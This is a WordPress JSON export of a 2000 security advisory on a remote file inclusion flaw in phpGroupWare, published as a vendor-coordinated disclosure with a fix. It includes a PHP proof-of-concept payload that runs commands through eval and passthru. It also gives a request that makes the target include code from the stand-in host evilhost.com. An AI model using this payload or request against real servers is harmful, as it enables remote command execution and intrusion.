{"id":20,"date":"2021-06-15T00:07:41","date_gmt":"2021-06-15T00:07:41","guid":{"rendered":"https:\/\/securereality.com.au\/?page_id=20"},"modified":"2021-06-15T00:07:42","modified_gmt":"2021-06-15T00:07:42","slug":"security-advisory-6","status":"publish","type":"page","link":"https:\/\/securereality.com.au\/security-advisory-6\/","title":{"rendered":"Security Advisory #6"},"content":{"rendered":"\n<pre class=\"wp-block-preformatted\">=================================================\nSecure Reality Pty Ltd. Security Advisory #6 (SRADV00006)\n<blockquote class=\"wp-embedded-content\" data-secret=\"jGhas0iSNO\"><a href=\"https:\/\/securereality.com.au\/\">Secure Reality<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Secure Reality&#8221; &#8212; Secure Reality\" src=\"https:\/\/securereality.com.au\/embed\/#?secret=jGhas0iSNO\" data-secret=\"jGhas0iSNO\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n=================================================\n\n[Title]\nRemote command execution vulnerabilities in phpGroupWare\n\n[Released]\n6\/11\/2000\n\n[Vulnerable]\nVersions below 0.9.7 under Unix\n\n[Overview]\nphpGroupWare is a multi-user web based groupware suite written in PHP.\nphpGroupWare is quite popular due to its integration of many aspects of\ngroup cooperation: email, calendaring, file sharing, to do lists, etc.\n\nphpGroupWare makes insecure calls to the include() function of PHP which can\nallow the inclusion of remote files, and thereby the execution of arbitrary\ncommands on the remote web server with the permissions of the web server\nuser, usually 'nobody'\n\n[Impact]\nRemote command execution (with privileges as above)\n\n[Detail]\nThis is an excellent example of another aspect of the remotely accessible\ninclude files issue that has been discussed in detail recently. The\ndiscussion has centered around the sensitive information that can be\ncontained in include files and the fact that include files generally have\nthe extension 'inc' and thus, if web accessible, are returned to the\nrequestor in plain text.\n\nA common solution amongst freely available php scripts is to give include\nfiles the extension .inc.php. This causes the include file to always be\nprocessed by the PHP interpreter and therefore not return in plain text\nsensitive configuration information, like database passwords. Thus these\nprograms can have easy installation (untar everything into the web space)\nwithout worrying about configuration disclosure.\n\nThe problem however then becomes one of context. Code and configuration\nvariables in include files tend to be highly interdependent, that is,\ncertain files and data must have already been included before including a\nparticular file. By directly requesting the files we can break the\ninterdependence chain and cause data the include files could normally trust\nto become untrustworthy.\n\nWhich leads us to the phpGroupWare vulnerability. We can directly request\nthe library include files that make up the phpGroupWare API, one of these\nfiles, phpgw.inc.php performs an include based on variables that should have\nbeen set as part of the call chain. By providing them ourselves we can\ndetermine the initial part of the following include statement:\n\ninclude($phpgw_info[\"server\"][\"include_root\"] .\n\"\/phpgwapi\/phpgw_info.inc.php\");\n\nBy providing $phpgw_info[server][include_root] as a form variable that\npoints to a remote web server on which we can place files, we can get the\nscript to retrieve \/phpgwapi\/phpgw_info.inc.php from that server and execute\nit.\n\nFor example, if I had access to place files in a webspace\nhttp:\/\/evilhost.com\/~shaun\/ I would create a directory \"phpgwapi\" and place\ninside it a script called phpgw_info.inc.php with content like the\nfollowing:\n\n&lt;?php\n\n        \/\/ PHP code to be executed\n        $phpcode = '\n                echo(\"Hi there!&lt;BR&gt;\");\n                passthru(\"id\");\n        ';\n\n        \/\/ If we were called via remote include, send the code to be\n        \/\/ executed\n        if (substr($HTTP_SERVER_VARS[\"HTTP_USER_AGENT\"], 0, 3) == \"PHP\")\n                echo(\"&lt;?php $phpcode ?&gt;\");\n        else\n        \/\/ Otherwise we're being executed on the target web server already,\n        \/\/ so simply evaluate the code\n                eval($phpcode);\n\n        exit();\n\n?&gt;\n\n(This script is designed so that the server it is placed on can be PHP\nenabled and not result in the code being executed on the attacking machine)\n\nIf we then make a request to the target machine like the following:\n\n\/phpgroupware\/inc\/phpgwapi\/phpgw.inc.php?phpgw_info[server][include_root]=\nhttp:\/\/evilhost.com\/~shaun\n\nThe code should be retrieved and executed.\n\nIt should be noted there are some caveats to this attack:\n- The remote web server must be able to retrieve the file, i.e no firewalls\nin the way\n- The remote web server must not be running PHP under Windows since remote\nfile includes are not supported on this platform\n- The remote web server must be running a sufficiently recent version of PHP\nthat [][] form variables are allowed\n- The remote web server must not have allow_url_fopen set off\n- Later versions of phpGroupWare check the variable\n$phpgw_info[\"server\"][\"header_version\"] in phpgw.inc.php, for those versions\nwe need to provide that via form variables too\n\nThere may well be others based on other versions\/configurations of PHP.\n\n[Fix]\nPlease upgrade to the latest version of phpGroupWare (0.9.7) at\nhttp:\/\/sourceforge.net\/project\/showfiles.php?group_id=7305\n\n[Acknowledgements]\nOur thanks to all of the developers of phpGroupWare, in particular Dan\nKuykendall, for their assistance in quickly correcting this issue.\n\n[Disclaimer]\nAdvice, directions and instructions on security vulnerabilities in this\nadvisory do not constitute: an endorsement of illegal behavior; a guarantee\nthat protection measures will work; an endorsement of any product or\nsolution or recommendations on behalf of Secure Reality Pty Ltd. Content is\nprovided as is and Secure Reality Pty Ltd does not accept responsibility for\nany damage or injury caused as a result of its use.<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>================================================= Secure Reality Pty Ltd. Security Advisory #6 (SRADV00006) Secure Reality ================================================= [Title] Remote command execution vulnerabilities in phpGroupWare [Released] 6\/11\/2000 [Vulnerable] Versions below 0.9.7 under Unix [Overview] phpGroupWare is a multi-user web based groupware suite written in PHP. phpGroupWare is quite popular due to its integration of many aspects of group cooperation: email, calendaring, &#8230; <a title=\"Security Advisory #6\" class=\"read-more\" href=\"https:\/\/securereality.com.au\/security-advisory-6\/\" aria-label=\"More on Security Advisory #6\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_generate-full-width-content":""},"_links":{"self":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/20"}],"collection":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/comments?post=20"}],"version-history":[{"count":1,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/20\/revisions"}],"predecessor-version":[{"id":21,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/20\/revisions\/21"}],"wp:attachment":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/media?parent=20"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}